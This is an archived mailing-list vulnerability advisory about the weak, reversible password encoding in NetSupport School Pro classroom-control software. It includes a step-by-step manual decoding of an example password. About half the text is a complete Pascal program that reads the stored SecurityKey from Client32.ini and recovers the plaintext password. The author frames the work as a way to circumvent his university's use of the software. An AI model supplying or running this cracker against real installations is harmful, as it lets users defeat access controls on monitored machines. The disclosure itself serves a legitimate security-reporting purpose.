[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <BAY1-F12858tP9DLf4b0000f985@hotmail.com>
From: spiffomatic64 at hotmail.com (spiffomatic 64)
Subject: NetSupport School Pro: Password Encryption weaknesses
Vendor : NetSupport
URL : http://www.netsupport-inc.com/
Version : Invision NetSupport School Pro
Risk : Password protection weakness
Description: NetSupport School, market leading training tool for the modern
classroom featuring full student remote control, application & internet
monitoring, customized student testing and more.
Password protection weakness: The password encryption method is a method
which is easily reversed. The encryption method is as follows:
The letters are expressed using a hexadecimal type of system. Every letter
is shown by two characters the first character can be any ascii character
while the second is in a range from a-p. This works just like hex in that
ap+1=ba. Its not case sensitive so that also makes it easier for kids to get
passes. The characters start at EM. So A= EM B=EN and so on. Each letter is
also added to by the number of letters in front of it. So the crypt of aa=
EN9O while the crypt of aaa=EO9P>A. I can figure the routine used for the
crypt of each colum though. Here is a reference for the letter a and its
crypt of each colum EM, 9O, >a, BC, FE, :G, >I, BK, FM, :O. Based on this
knowledge and the hex-esque characters, and the addition to each char based
on the amount of letters in front of it, you can get the password from an
encrypted one. An example of a cracked password: The crypt is “GC;H@KEO” GC
-3 = FP (according to the hexish system) FP=T so the first letter is T. Take
9O (known “a” for the 2nd column) and add the difference from a-t to it (19)
and you get ;B add 2 to it (amount of letters in front of it) = ;D then
subtract ;D from ;H you get 4 places. A+4 = E the second letter is “E” you
continue to do this until you get the password “test”
Solution: based on my research this program uses a hash type validation
method, so the quickest and most painless solution would be to use the md5
routine for passwords.
Credits: Credits go to Drexel University, and Harry Hoffman because if they
hadn’t have used this software I would have never had the urge to circumvent
it ;)
As well as Mr. Flynn for teaching me pascal (even though its 20+ years old
its still my favorite)
Spiffomatic64
Hacking is an art-form
Here is the code for decrypting the pass: (old school pascal thats right!)
program name;
uses crt;
var i,j,length,x,y,crazy:integer;
passfile:text;
line:string;
password,p:array [1..100] of char;
known,convert:array [1..26,1..3] of char;
ch,tempx,tempy,key:char;
procedure conv;
begin
convert[1,1]:='E';
convert[1,2]:='M';
convert[1,3]:='A';
for i:=2 to 26 do begin
if convert[i-1,2]='P' then begin
convert[i,1]:=chr(ord(convert[i-1,1])+1);
convert[i,2]:='A';
end
else begin
convert[i,1]:=convert[i-1,1];
convert[i,2]:=chr(ord(convert[i-1,2])+1);
end;
convert[i,3]:=chr(ord(convert[i-1,3])+1);
end;
end;
procedure hex(a,b:char; num:integer);
begin
if num>0 then begin
for i:=1 to num do begin
if b='P' then begin
b:='A';
a:=chr(ord(a)+1);
end else inc(b);
end;
end;
if num<0 then begin
for i:=-1 downto num do begin
if b='A' then begin
b:='P';
a:=chr(ord(a)-1);
end else dec(b);
end;
end;
tempx:=a;
tempy:=b;
end;
function compare(a,b:char):char;
begin
for i:=1 to 26 do begin
if (a=convert[i,1])and(b=convert[i,2]) then compare:=chr(i+64);
end;
end;
function diff(a,b,c,d:char):integer;
var num1,num2,num3:integer;
begin
num1:=ord(a)*16+ord(b);
num2:=ord(c)*16+ord(d);
num2:=num2;
diff:=num2-num1;
end;
Begin
{get the hash from client32.ini}
clrscr;
Writeln(' _________________________________________________________');
Writeln('|NetSupport School Pro Password decryptor |');
Writeln('|Credits goto: Drexel University, Harry Hoffman, Mr. Flynn|');
Writeln('|and my wonderful fiance Halley |');
Writeln(' ---------------------------------------------------------');
Writeln('');
assign (passfile,'C:\Progra~1\NetSup~1\Client32.ini');
reset (passfile);
i:=0;
while not eof(passfile) do
begin
line:='';
while not EoLn(passfile) do
begin
Read(passfile, ch);
line:=line+ch;
if line='SecurityKey=' then begin
while not eoln(passfile) do
begin
inc(i);
read(passfile,ch);
password[i]:=ch;
end;
length:=i;
end;
end;
readln(passfile,line);
end;
write('Hash: ');
for i:=1 to length do write(password[i]);
writeln('');
{decrypt the hash}
conv;
known[1,1]:='E';
known[1,2]:='M';
known[2,1]:='9';
known[2,2]:='O';
known[3,1]:='>';
known[3,2]:='A';
known[4,1]:='B';
known[4,2]:='C';
known[5,1]:='F';
known[5,2]:='E';
known[6,1]:=':';
known[6,2]:='G';
known[7,1]:='>';
known[7,2]:='I';
known[8,1]:='B';
known[8,2]:='K';
known[9,1]:='F';
known[9,2]:='M';
known[10,1]:=':';
known[10,2]:='O';
known[11,1]:='?';
known[11,2]:='A';
known[12,1]:='C';
known[12,2]:='C';
known[13,1]:='G';
known[13,2]:='E';
known[14,1]:=';';
known[14,2]:='G';
known[15,1]:='?';
known[15,2]:='I';
{get the first char}
for i:=1 to round(length/2) do p[i]:=chr(65);
for x:=1 to round(length/2) do begin
crazy:=0;
crazy:=-(round(length/2))+x;
for y:=1 to round(length/2) do crazy:=crazy-(ord(p[y])-65);
hex(password[x*2-1],password[x*2],crazy);
p[x]:=chr(diff(known[x,1],known[x,2],tempx,tempy)+65);
end;
writeln('');
write('Password: ');
for i:=1 to round(length/2) do begin
write(p[i]);
end;
readkey;
end.
_________________________________________________________________
MSN Toolbar provides one-click access to Hotmail from any Web page – FREE
download! http://toolbar.msn.com/go/onm00200413ave/direct/01/
Powered by blists - more mailing lists